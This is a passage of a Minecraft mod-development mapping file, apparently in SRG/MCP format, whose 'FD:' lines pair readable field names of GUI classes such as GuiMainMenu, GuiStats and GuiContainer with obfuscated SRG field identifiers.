net/minecraft/client/gui/GuiErrorScreen/field_146312_f net/minecraft/client/gui/GuiErrorScreen/field_146312_f +FD: net/minecraft/client/gui/GuiLanguage$List/field_148178_k net/minecraft/client/gui/GuiLanguage$List/field_148178_k +FD: net/minecraft/client/gui/GuiLanguage$List/langCodeList net/minecraft/client/gui/GuiLanguage$List/field_148176_l +FD: net/minecraft/client/gui/GuiLanguage$List/languageMap net/minecraft/client/gui/GuiLanguage$List/field_148177_m +FD: net/minecraft/client/gui/GuiLanguage/parentScreen net/minecraft/client/gui/GuiLanguage/field_146453_a +FD: net/minecraft/client/gui/GuiLanguage/list net/minecraft/client/gui/GuiLanguage/field_146450_f +FD: net/minecraft/client/gui/GuiLanguage/game_settings_3 net/minecraft/client/gui/GuiLanguage/field_146451_g +FD: net/minecraft/client/gui/GuiLanguage/languageManager net/minecraft/client/gui/GuiLanguage/field_146454_h +FD: net/minecraft/client/gui/GuiLanguage/forceUnicodeFontBtn net/minecraft/client/gui/GuiLanguage/field_146455_i +FD: net/minecraft/client/gui/GuiLanguage/confirmSettingsBtn net/minecraft/client/gui/GuiLanguage/field_146452_r +FD: net/minecraft/client/gui/GuiOptions$1/field_146130_o net/minecraft/client/gui/GuiOptions$1/field_146130_o +FD: net/minecraft/client/gui/GuiOptions/field_146442_a net/minecraft/client/gui/GuiOptions/field_146442_a +FD: net/minecraft/client/gui/GuiOptions/field_146440_f net/minecraft/client/gui/GuiOptions/field_146440_f +FD: net/minecraft/client/gui/GuiOptions/field_146441_g net/minecraft/client/gui/GuiOptions/field_146441_g +FD: net/minecraft/client/gui/GuiOptions/game_settings_1 net/minecraft/client/gui/GuiOptions/field_146443_h +FD: net/minecraft/client/gui/GuiOptions/field_175357_i net/minecraft/client/gui/GuiOptions/field_175357_i +FD: net/minecraft/client/gui/GuiOptions/field_175356_r net/minecraft/client/gui/GuiOptions/field_175356_r +FD: net/minecraft/client/gui/GuiIngameMenu/field_146445_a net/minecraft/client/gui/GuiIngameMenu/field_146445_a +FD: net/minecraft/client/gui/GuiIngameMenu/field_146444_f net/minecraft/client/gui/GuiIngameMenu/field_146444_f +FD: net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148234_a net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148234_a +FD: net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_179037_b net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_179037_b +FD: net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148232_b net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148232_b +FD: net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148233_c net/minecraft/client/gui/GuiFlatPresets$LayerItem/field_148233_c +FD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/field_148175_k net/minecraft/client/gui/GuiFlatPresets$ListSlot/field_148175_k +FD: net/minecraft/client/gui/GuiFlatPresets$ListSlot/field_148174_l net/minecraft/client/gui/GuiFlatPresets$ListSlot/field_148174_l +FD: net/minecraft/client/gui/GuiFlatPresets/FLAT_WORLD_PRESETS net/minecraft/client/gui/GuiFlatPresets/field_146431_f +FD: net/minecraft/client/gui/GuiFlatPresets/parentScreen net/minecraft/client/gui/GuiFlatPresets/field_146432_g +FD: net/minecraft/client/gui/GuiFlatPresets/presetsTitle net/minecraft/client/gui/GuiFlatPresets/field_146438_h +FD: net/minecraft/client/gui/GuiFlatPresets/presetsShare net/minecraft/client/gui/GuiFlatPresets/field_146439_i +FD: net/minecraft/client/gui/GuiFlatPresets/field_146436_r net/minecraft/client/gui/GuiFlatPresets/field_146436_r +FD: net/minecraft/client/gui/GuiFlatPresets/field_146435_s net/minecraft/client/gui/GuiFlatPresets/field_146435_s +FD: net/minecraft/client/gui/GuiFlatPresets/field_146434_t net/minecraft/client/gui/GuiFlatPresets/field_146434_t +FD: net/minecraft/client/gui/GuiFlatPresets/field_146433_u net/minecraft/client/gui/GuiFlatPresets/field_146433_u +FD: net/minecraft/client/gui/GuiScreenWorking/field_146591_a net/minecraft/client/gui/GuiScreenWorking/field_146591_a +FD: net/minecraft/client/gui/GuiScreenWorking/field_146589_f net/minecraft/client/gui/GuiScreenWorking/field_146589_f +FD: net/minecraft/client/gui/GuiScreenWorking/progress net/minecraft/client/gui/GuiScreenWorking/field_146590_g +FD: net/minecraft/client/gui/GuiScreenWorking/doneWorking net/minecraft/client/gui/GuiScreenWorking/field_146592_h +FD: net/minecraft/client/gui/GuiDownloadTerrain/netHandlerPlayClient net/minecraft/client/gui/GuiDownloadTerrain/field_146594_a +FD: net/minecraft/client/gui/GuiDownloadTerrain/progress net/minecraft/client/gui/GuiDownloadTerrain/field_146593_f +FD: net/minecraft/client/gui/GuiRenameWorld/parentScreen net/minecraft/client/gui/GuiRenameWorld/field_146585_a +FD: net/minecraft/client/gui/GuiRenameWorld/field_146583_f net/minecraft/client/gui/GuiRenameWorld/field_146583_f +FD: net/minecraft/client/gui/GuiRenameWorld/saveName net/minecraft/client/gui/GuiRenameWorld/field_146584_g +FD: net/minecraft/client/gui/GuiScreen/LOGGER net/minecraft/client/gui/GuiScreen/field_175287_a +FD: net/minecraft/client/gui/GuiScreen/PROTOCOLS net/minecraft/client/gui/GuiScreen/field_175284_f +FD: net/minecraft/client/gui/GuiScreen/NEWLINE_SPLITTER net/minecraft/client/gui/GuiScreen/field_175285_g +FD: net/minecraft/client/gui/GuiScreen/selectedButton net/minecraft/client/gui/GuiScreen/field_146290_a +FD: net/minecraft/client/gui/GuiScreen/eventButton net/minecraft/client/gui/GuiScreen/field_146287_f +FD: net/minecraft/client/gui/GuiScreen/mc net/minecraft/client/gui/GuiScreen/field_146297_k +FD: net/minecraft/client/gui/GuiScreen/itemRender net/minecraft/client/gui/GuiScreen/field_146296_j +FD: net/minecraft/client/gui/GuiScreen/width net/minecraft/client/gui/GuiScreen/field_146294_l +FD: net/minecraft/client/gui/GuiScreen/height net/minecraft/client/gui/GuiScreen/field_146295_m +FD: net/minecraft/client/gui/GuiScreen/buttonList net/minecraft/client/gui/GuiScreen/field_146292_n +FD: net/minecraft/client/gui/GuiScreen/labelList net/minecraft/client/gui/GuiScreen/field_146293_o +FD: net/minecraft/client/gui/GuiScreen/allowUserInput net/minecraft/client/gui/GuiScreen/field_146291_p +FD: net/minecraft/client/gui/GuiScreen/fontRendererObj net/minecraft/client/gui/GuiScreen/field_146289_q +FD: net/minecraft/client/gui/GuiScreen/lastMouseEvent net/minecraft/client/gui/GuiScreen/field_146288_g +FD: net/minecraft/client/gui/GuiScreen/touchValue net/minecraft/client/gui/GuiScreen/field_146298_h +FD: net/minecraft/client/gui/GuiScreen/clickedLinkURI net/minecraft/client/gui/GuiScreen/field_175286_t +FD: net/minecraft/client/gui/GuiSelectWorld$List/field_148207_k net/minecraft/client/gui/GuiSelectWorld$List/field_148207_k +FD: net/minecraft/client/gui/GuiSelectWorld/renameButton net/minecraft/client/gui/GuiSelectWorld/field_146630_A +FD: net/minecraft/client/gui/GuiSelectWorld/recreateButton net/minecraft/client/gui/GuiSelectWorld/field_146631_B +FD: net/minecraft/client/gui/GuiSelectWorld/parentScreen net/minecraft/client/gui/GuiSelectWorld/field_146632_a +FD: net/minecraft/client/gui/GuiSelectWorld/screenTitle net/minecraft/client/gui/GuiSelectWorld/field_146628_f +FD: net/minecraft/client/gui/GuiSelectWorld/logger net/minecraft/client/gui/GuiSelectWorld/field_146629_g +FD: net/minecraft/client/gui/GuiSelectWorld/field_146633_h net/minecraft/client/gui/GuiSelectWorld/field_146633_h +FD: net/minecraft/client/gui/GuiSelectWorld/field_146634_i net/minecraft/client/gui/GuiSelectWorld/field_146634_i +FD: net/minecraft/client/gui/GuiSelectWorld/selectedIndex net/minecraft/client/gui/GuiSelectWorld/field_146640_r +FD: net/minecraft/client/gui/GuiSelectWorld/field_146639_s net/minecraft/client/gui/GuiSelectWorld/field_146639_s +FD: net/minecraft/client/gui/GuiSelectWorld/availableWorlds net/minecraft/client/gui/GuiSelectWorld/field_146638_t +FD: net/minecraft/client/gui/GuiSelectWorld/field_146637_u net/minecraft/client/gui/GuiSelectWorld/field_146637_u +FD: net/minecraft/client/gui/GuiSelectWorld/field_146636_v net/minecraft/client/gui/GuiSelectWorld/field_146636_v +FD: net/minecraft/client/gui/GuiSelectWorld/field_146635_w net/minecraft/client/gui/GuiSelectWorld/field_146635_w +FD: net/minecraft/client/gui/GuiSelectWorld/confirmingDelete net/minecraft/client/gui/GuiSelectWorld/field_146643_x +FD: net/minecraft/client/gui/GuiSelectWorld/deleteButton net/minecraft/client/gui/GuiSelectWorld/field_146642_y +FD: net/minecraft/client/gui/GuiSelectWorld/selectButton net/minecraft/client/gui/GuiSelectWorld/field_146641_z +FD: net/minecraft/client/gui/GuiShareToLan/field_146598_a net/minecraft/client/gui/GuiShareToLan/field_146598_a +FD: net/minecraft/client/gui/GuiShareToLan/field_146596_f net/minecraft/client/gui/GuiShareToLan/field_146596_f +FD: net/minecraft/client/gui/GuiShareToLan/field_146597_g net/minecraft/client/gui/GuiShareToLan/field_146597_g +FD: net/minecraft/client/gui/GuiShareToLan/field_146599_h net/minecraft/client/gui/GuiShareToLan/field_146599_h +FD: net/minecraft/client/gui/GuiShareToLan/field_146600_i net/minecraft/client/gui/GuiShareToLan/field_146600_i +FD: net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/field_175235_o net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/field_175235_o +FD: net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/playerModelParts net/minecraft/client/gui/GuiCustomizeSkin$ButtonPart/field_175234_p +FD: net/minecraft/client/gui/GuiCustomizeSkin/parentScreen net/minecraft/client/gui/GuiCustomizeSkin/field_175361_a +FD: net/minecraft/client/gui/GuiCustomizeSkin/title net/minecraft/client/gui/GuiCustomizeSkin/field_175360_f +FD: net/minecraft/client/gui/GuiSnooper$List/field_148206_k net/minecraft/client/gui/GuiSnooper$List/field_148206_k +FD: net/minecraft/client/gui/GuiSnooper/field_146608_a net/minecraft/client/gui/GuiSnooper/field_146608_a +FD: net/minecraft/client/gui/GuiSnooper/game_settings_2 net/minecraft/client/gui/GuiSnooper/field_146603_f +FD: net/minecraft/client/gui/GuiSnooper/field_146604_g net/minecraft/client/gui/GuiSnooper/field_146604_g +FD: net/minecraft/client/gui/GuiSnooper/field_146609_h net/minecraft/client/gui/GuiSnooper/field_146609_h +FD: net/minecraft/client/gui/GuiSnooper/field_146610_i net/minecraft/client/gui/GuiSnooper/field_146610_i +FD: net/minecraft/client/gui/GuiSnooper/field_146607_r net/minecraft/client/gui/GuiSnooper/field_146607_r +FD: net/minecraft/client/gui/GuiSnooper/field_146606_s net/minecraft/client/gui/GuiSnooper/field_146606_s +FD: net/minecraft/client/gui/GuiSnooper/field_146605_t net/minecraft/client/gui/GuiSnooper/field_146605_t +FD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146156_o net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146156_o +FD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146155_p net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146155_p +FD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146154_q net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146154_q +FD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146153_r net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146153_r +FD: net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146152_s net/minecraft/client/gui/GuiScreenOptionsSounds$Button/field_146152_s +FD: net/minecraft/client/gui/GuiScreenOptionsSounds/field_146507_a net/minecraft/client/gui/GuiScreenOptionsSounds/field_146507_a +FD: net/minecraft/client/gui/GuiScreenOptionsSounds/field_146505_f net/minecraft/client/gui/GuiScreenOptionsSounds/field_146505_f +FD: net/minecraft/client/gui/GuiScreenOptionsSounds/game_settings_4 net/minecraft/client/gui/GuiScreenOptionsSounds/field_146506_g +FD: net/minecraft/client/gui/GuiScreenOptionsSounds/field_146508_h net/minecraft/client/gui/GuiScreenOptionsSounds/field_146508_h +FD: net/minecraft/client/gui/GuiMainMenu/splashTexts net/minecraft/client/gui/GuiMainMenu/field_110353_x +FD: net/minecraft/client/gui/GuiMainMenu/minecraftTitleTextures net/minecraft/client/gui/GuiMainMenu/field_110352_y +FD: net/minecraft/client/gui/GuiMainMenu/titlePanoramaPaths net/minecraft/client/gui/GuiMainMenu/field_73978_o +FD: net/minecraft/client/gui/GuiMainMenu/field_92024_r net/minecraft/client/gui/GuiMainMenu/field_92024_r +FD: net/minecraft/client/gui/GuiMainMenu/field_92023_s net/minecraft/client/gui/GuiMainMenu/field_92023_s +FD: net/minecraft/client/gui/GuiMainMenu/field_92022_t net/minecraft/client/gui/GuiMainMenu/field_92022_t +FD: net/minecraft/client/gui/GuiMainMenu/field_92021_u net/minecraft/client/gui/GuiMainMenu/field_92021_u +FD: net/minecraft/client/gui/GuiMainMenu/field_92020_v net/minecraft/client/gui/GuiMainMenu/field_92020_v +FD: net/minecraft/client/gui/GuiMainMenu/field_92019_w net/minecraft/client/gui/GuiMainMenu/field_92019_w +FD: net/minecraft/client/gui/GuiMainMenu/backgroundTexture net/minecraft/client/gui/GuiMainMenu/field_110351_G +FD: net/minecraft/client/gui/GuiMainMenu/realmsButton net/minecraft/client/gui/GuiMainMenu/field_175372_K +FD: net/minecraft/client/gui/GuiMainMenu/field_183502_L net/minecraft/client/gui/GuiMainMenu/field_183502_L +FD: net/minecraft/client/gui/GuiMainMenu/field_183503_M net/minecraft/client/gui/GuiMainMenu/field_183503_M +FD: net/minecraft/client/gui/GuiMainMenu/field_96138_a net/minecraft/client/gui/GuiMainMenu/field_96138_a +FD: net/minecraft/client/gui/GuiMainMenu/field_175373_f net/minecraft/client/gui/GuiMainMenu/field_175373_f +FD: net/minecraft/client/gui/GuiMainMenu/logger net/minecraft/client/gui/GuiMainMenu/field_146974_g +FD: net/minecraft/client/gui/GuiMainMenu/RANDOM net/minecraft/client/gui/GuiMainMenu/field_175374_h +FD: net/minecraft/client/gui/GuiMainMenu/updateCounter net/minecraft/client/gui/GuiMainMenu/field_73974_b +FD: net/minecraft/client/gui/GuiMainMenu/splashText net/minecraft/client/gui/GuiMainMenu/field_73975_c +FD: net/minecraft/client/gui/GuiMainMenu/buttonResetDemo net/minecraft/client/gui/GuiMainMenu/field_73973_d +FD: net/minecraft/client/gui/GuiMainMenu/panoramaTimer net/minecraft/client/gui/GuiMainMenu/field_73979_m +FD: net/minecraft/client/gui/GuiMainMenu/viewportTexture net/minecraft/client/gui/GuiMainMenu/field_73977_n +FD: net/minecraft/client/gui/GuiMainMenu/field_175375_v net/minecraft/client/gui/GuiMainMenu/field_175375_v +FD: net/minecraft/client/gui/GuiMainMenu/threadLock net/minecraft/client/gui/GuiMainMenu/field_104025_t +FD: net/minecraft/client/gui/GuiMainMenu/openGLWarning1 net/minecraft/client/gui/GuiMainMenu/field_92025_p +FD: net/minecraft/client/gui/GuiMainMenu/openGLWarning2 net/minecraft/client/gui/GuiMainMenu/field_146972_A +FD: net/minecraft/client/gui/GuiMainMenu/openGLWarningLink net/minecraft/client/gui/GuiMainMenu/field_104024_v +FD: net/minecraft/client/gui/GuiVideoSettings/screenTitle net/minecraft/client/gui/GuiVideoSettings/field_146500_a +FD: net/minecraft/client/gui/GuiVideoSettings/parentGuiScreen net/minecraft/client/gui/GuiVideoSettings/field_146498_f +FD: net/minecraft/client/gui/GuiVideoSettings/guiGameSettings net/minecraft/client/gui/GuiVideoSettings/field_146499_g +FD: net/minecraft/client/gui/GuiVideoSettings/optionsRowList net/minecraft/client/gui/GuiVideoSettings/field_146501_h +FD: net/minecraft/client/gui/GuiVideoSettings/videoOptions net/minecraft/client/gui/GuiVideoSettings/field_146502_i +FD: net/minecraft/client/gui/GuiWinGame/logger net/minecraft/client/gui/GuiWinGame/field_146580_a +FD: net/minecraft/client/gui/GuiWinGame/MINECRAFT_LOGO net/minecraft/client/gui/GuiWinGame/field_146576_f +FD: net/minecraft/client/gui/GuiWinGame/VIGNETTE_TEXTURE net/minecraft/client/gui/GuiWinGame/field_146577_g +FD: net/minecraft/client/gui/GuiWinGame/field_146581_h net/minecraft/client/gui/GuiWinGame/field_146581_h +FD: net/minecraft/client/gui/GuiWinGame/field_146582_i net/minecraft/client/gui/GuiWinGame/field_146582_i +FD: net/minecraft/client/gui/GuiWinGame/field_146579_r net/minecraft/client/gui/GuiWinGame/field_146579_r +FD: net/minecraft/client/gui/GuiWinGame/field_146578_s net/minecraft/client/gui/GuiWinGame/field_146578_s +FD: net/minecraft/client/gui/achievement/GuiAchievement/achievementBg net/minecraft/client/gui/achievement/GuiAchievement/field_146261_a +FD: net/minecraft/client/gui/achievement/GuiAchievement/mc net/minecraft/client/gui/achievement/GuiAchievement/field_146259_f +FD: net/minecraft/client/gui/achievement/GuiAchievement/width net/minecraft/client/gui/achievement/GuiAchievement/field_146260_g +FD: net/minecraft/client/gui/achievement/GuiAchievement/height net/minecraft/client/gui/achievement/GuiAchievement/field_146267_h +FD: net/minecraft/client/gui/achievement/GuiAchievement/achievementTitle net/minecraft/client/gui/achievement/GuiAchievement/field_146268_i +FD: net/minecraft/client/gui/achievement/GuiAchievement/achievementDescription net/minecraft/client/gui/achievement/GuiAchievement/field_146265_j +FD: net/minecraft/client/gui/achievement/GuiAchievement/theAchievement net/minecraft/client/gui/achievement/GuiAchievement/field_146266_k +FD: net/minecraft/client/gui/achievement/GuiAchievement/notificationTime net/minecraft/client/gui/achievement/GuiAchievement/field_146263_l +FD: net/minecraft/client/gui/achievement/GuiAchievement/renderItem net/minecraft/client/gui/achievement/GuiAchievement/field_146264_m +FD: net/minecraft/client/gui/achievement/GuiAchievement/permanentNotification net/minecraft/client/gui/achievement/GuiAchievement/field_146262_n +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146559_A net/minecraft/client/gui/achievement/GuiAchievements/field_146559_A +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146560_B net/minecraft/client/gui/achievement/GuiAchievements/field_146560_B +FD: net/minecraft/client/gui/achievement/GuiAchievements/ACHIEVEMENT_BACKGROUND net/minecraft/client/gui/achievement/GuiAchievements/field_146561_C +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146554_D net/minecraft/client/gui/achievement/GuiAchievements/field_146554_D +FD: net/minecraft/client/gui/achievement/GuiAchievements/statFileWriter net/minecraft/client/gui/achievement/GuiAchievements/field_146556_E +FD: net/minecraft/client/gui/achievement/GuiAchievements/loadingAchievements net/minecraft/client/gui/achievement/GuiAchievements/field_146558_F +FD: net/minecraft/client/gui/achievement/GuiAchievements/parentScreen net/minecraft/client/gui/achievement/GuiAchievements/field_146562_a +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146555_f net/minecraft/client/gui/achievement/GuiAchievements/field_146555_f +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146557_g net/minecraft/client/gui/achievement/GuiAchievements/field_146557_g +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146563_h net/minecraft/client/gui/achievement/GuiAchievements/field_146563_h +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146564_i net/minecraft/client/gui/achievement/GuiAchievements/field_146564_i +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146570_r net/minecraft/client/gui/achievement/GuiAchievements/field_146570_r +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146569_s net/minecraft/client/gui/achievement/GuiAchievements/field_146569_s +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146568_t net/minecraft/client/gui/achievement/GuiAchievements/field_146568_t +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146567_u net/minecraft/client/gui/achievement/GuiAchievements/field_146567_u +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146566_v net/minecraft/client/gui/achievement/GuiAchievements/field_146566_v +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146565_w net/minecraft/client/gui/achievement/GuiAchievements/field_146565_w +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146573_x net/minecraft/client/gui/achievement/GuiAchievements/field_146573_x +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146572_y net/minecraft/client/gui/achievement/GuiAchievements/field_146572_y +FD: net/minecraft/client/gui/achievement/GuiAchievements/field_146571_z net/minecraft/client/gui/achievement/GuiAchievements/field_146571_z +FD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/field_148341_a net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/field_148341_a +FD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/field_148340_b net/minecraft/client/gui/achievement/GuiStats$StatsBlock$1/field_148340_b +FD: net/minecraft/client/gui/achievement/GuiStats$StatsBlock/field_148221_k net/minecraft/client/gui/achievement/GuiStats$StatsBlock/field_148221_k +FD: net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/field_148208_k net/minecraft/client/gui/achievement/GuiStats$StatsGeneral/field_148208_k +FD: net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/field_148344_a net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/field_148344_a +FD: net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/field_148343_b net/minecraft/client/gui/achievement/GuiStats$StatsItem$1/field_148343_b +FD: net/minecraft/client/gui/achievement/GuiStats$StatsItem/field_148220_k net/minecraft/client/gui/achievement/GuiStats$StatsItem/field_148220_k +FD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/field_148223_k net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/field_148223_k +FD: net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/field_148222_l net/minecraft/client/gui/achievement/GuiStats$StatsMobsList/field_148222_l +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/field_148214_q net/minecraft/client/gui/achievement/GuiStats$Stats/field_148214_q +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/field_148218_l net/minecraft/client/gui/achievement/GuiStats$Stats/field_148218_l +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/statsHolder net/minecraft/client/gui/achievement/GuiStats$Stats/field_148219_m +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/statSorter net/minecraft/client/gui/achievement/GuiStats$Stats/field_148216_n +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/field_148217_o net/minecraft/client/gui/achievement/GuiStats$Stats/field_148217_o +FD: net/minecraft/client/gui/achievement/GuiStats$Stats/field_148215_p net/minecraft/client/gui/achievement/GuiStats$Stats/field_148215_p +FD: net/minecraft/client/gui/achievement/GuiStats/parentScreen net/minecraft/client/gui/achievement/GuiStats/field_146549_a +FD: net/minecraft/client/gui/achievement/GuiStats/screenTitle net/minecraft/client/gui/achievement/GuiStats/field_146542_f +FD: net/minecraft/client/gui/achievement/GuiStats/generalStats net/minecraft/client/gui/achievement/GuiStats/field_146550_h +FD: net/minecraft/client/gui/achievement/GuiStats/itemStats net/minecraft/client/gui/achievement/GuiStats/field_146551_i +FD: net/minecraft/client/gui/achievement/GuiStats/blockStats net/minecraft/client/gui/achievement/GuiStats/field_146548_r +FD: net/minecraft/client/gui/achievement/GuiStats/mobStats net/minecraft/client/gui/achievement/GuiStats/field_146547_s +FD: net/minecraft/client/gui/achievement/GuiStats/field_146546_t net/minecraft/client/gui/achievement/GuiStats/field_146546_t +FD: net/minecraft/client/gui/achievement/GuiStats/displaySlot net/minecraft/client/gui/achievement/GuiStats/field_146545_u +FD: net/minecraft/client/gui/achievement/GuiStats/doesGuiPauseGame net/minecraft/client/gui/achievement/GuiStats/field_146543_v +FD: net/minecraft/client/gui/IProgressMeter/lanSearchStates net/minecraft/client/gui/IProgressMeter/field_146510_b_ +FD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/field_148287_a net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/field_148287_a +FD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/labelText net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/field_148285_b +FD: net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/labelWidth net/minecraft/client/gui/GuiKeyBindingList$CategoryEntry/field_148286_c +FD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148284_a net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148284_a +FD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/keybinding net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148282_b +FD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/keyDesc net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148283_c +FD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/btnChangeKeyBinding net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148280_d +FD: net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/btnReset net/minecraft/client/gui/GuiKeyBindingList$KeyEntry/field_148281_e +FD: net/minecraft/client/gui/GuiKeyBindingList/field_148191_k net/minecraft/client/gui/GuiKeyBindingList/field_148191_k +FD: net/minecraft/client/gui/GuiKeyBindingList/mc net/minecraft/client/gui/GuiKeyBindingList/field_148189_l +FD: net/minecraft/client/gui/GuiKeyBindingList/listEntries net/minecraft/client/gui/GuiKeyBindingList/field_148190_m +FD: net/minecraft/client/gui/GuiKeyBindingList/maxListLabelWidth net/minecraft/client/gui/GuiKeyBindingList/field_148188_n +FD: net/minecraft/client/gui/GuiControls/screenTitle net/minecraft/client/gui/GuiControls/field_146495_a +FD: net/minecraft/client/gui/GuiControls/buttonId net/minecraft/client/gui/GuiControls/field_146491_f +FD: net/minecraft/client/gui/GuiControls/time net/minecraft/client/gui/GuiControls/field_152177_g +FD: net/minecraft/client/gui/GuiControls/optionsArr net/minecraft/client/gui/GuiControls/field_146492_g +FD: net/minecraft/client/gui/GuiControls/parentScreen net/minecraft/client/gui/GuiControls/field_146496_h +FD: net/minecraft/client/gui/GuiControls/options net/minecraft/client/gui/GuiControls/field_146497_i +FD: net/minecraft/client/gui/GuiControls/keyBindingList net/minecraft/client/gui/GuiControls/field_146494_r +FD: net/minecraft/client/gui/GuiControls/buttonReset net/minecraft/client/gui/GuiControls/field_146493_s +FD: net/minecraft/client/gui/inventory/GuiContainer/returningStackDestSlot net/minecraft/client/gui/inventory/GuiContainer/field_146989_A +FD: net/minecraft/client/gui/inventory/GuiContainer/returningStackTime net/minecraft/client/gui/inventory/GuiContainer/field_146990_B +FD: net/minecraft/client/gui/inventory/GuiContainer/returningStack net/minecraft/client/gui/inventory/GuiContainer/field_146991_C +FD: net/minecraft/client/gui/inventory/GuiContainer/currentDragTargetSlot net/minecraft/client/gui/inventory/GuiContainer/field_146985_D +FD: net/minecraft/client/gui/inventory/GuiContainer/dragItemDropDelay net/minecraft/client/gui/inventory/GuiContainer/field_146986_E +FD: net/minecraft/client/gui/inventory/GuiContainer/dragSplittingLimit net/minecraft/client/gui/inventory/GuiContainer/field_146987_F +FD: net/minecraft/client/gui/inventory/GuiContainer/dragSplittingButton net/minecraft/client/gui/inventory/GuiContainer/field_146988_G +FD: net/minecraft/client/gui/inventory/GuiContainer/ignoreMouseUp net/minecraft/client/gui/inventory/GuiContainer/field_146995_H +FD: net/minecraft/client/gui/inventory/GuiContainer/dragSplittingRemnant net/minecraft/client/gui/inventory/GuiContainer/field_146996_I +FD: net/minecraft/client/gui/inventory/GuiContainer/lastClickTime net/minecraft/client/gui/inventory/GuiContainer/field_146997_J +FD: net/minecraft/client/gui/inventory/GuiContainer/lastClickSlot net/minecraft/client/gui/inventory/GuiContainer/field_146998_K +FD: net/minecraft/client/gui/inventory/GuiContainer/lastClickButton net/minecraft/client/gui/inventory/GuiContainer/field_146992_L +FD: net/minecraft/client/gui/inventory/GuiContainer/doubleClick net/minecraft/client/gui/inventory/GuiContainer/field_146993_M +FD: net/minecraft/client/gui/inventory/GuiContainer/shiftClickedSlot net/minecraft/client/gui/inventory/GuiContainer/field_146994_N +FD: net/minecraft/client/gui/inventory/GuiContainer/inventoryBackground net/minecraft/client/gui/inventory/GuiContainer/field_147001_a +FD: net/minecraft/client/gui/inventory/GuiContainer/xSize net/minecraft/client/gui/inventory/GuiContainer/field_146999_f +FD: net/minecraft/client/gui/inventory/GuiContainer/ySize net/minecraft/client/gui/inventory/GuiContainer/field_147000_g +FD: net/minecraft/client/gui/inventory/GuiContainer/inventorySlots net/minecraft/client/gui/inventory/GuiContainer/field_147002_h +FD: net/minecraft/client/gui/inventory/GuiContainer/guiLeft net/minecraft/client/gui/inventory/GuiContainer/field_147003_i +FD: net/minecraft/client/gui/inventory/GuiContainer/guiTop net/minecraft/client/gui/inventory/GuiContainer/field_147009_r +FD: net/minecraft/client/gui/inventory/GuiContainer/dragSplittingSlots net/minecraft/client/gui/inventory/GuiContainer/field_147008_s +FD: net/minecraft/client/gui/inventory/GuiContainer/dragSplitting net/minecraft/client/gui/inventory/GuiContainer/field_147007_t +FD: net/minecraft/client/gui/inventory/GuiContainer/theSlot net/minecraft/client/gui/inventory/GuiContainer/field_147006_u +FD: net/minecraft/client/gui/inventory/GuiContainer/clickedSlot net/minecraft/client/gui/inventory/GuiContainer/field_147005_v +FD: net/minecraft/client/gui/inventory/GuiContainer/isRightMouseClick net/minecraft/client/gui/inventory/GuiContainer/field_147004_w +FD: net/minecraft/client/gui/inventory/GuiContainer/draggedStack net/minecraft/client/gui/inventory/GuiContainer/field_147012_x +FD: net/minecraft/client/gui/inventory/GuiContainer/touchUpX net/minecraft/client/gui/inventory/GuiContainer/field_147011_y +FD: net/minecraft/client/gui/inventory/GuiContainer/touchUpY net/minecraft/client/gui/inventory/GuiContainer/field_147010_z +FD: 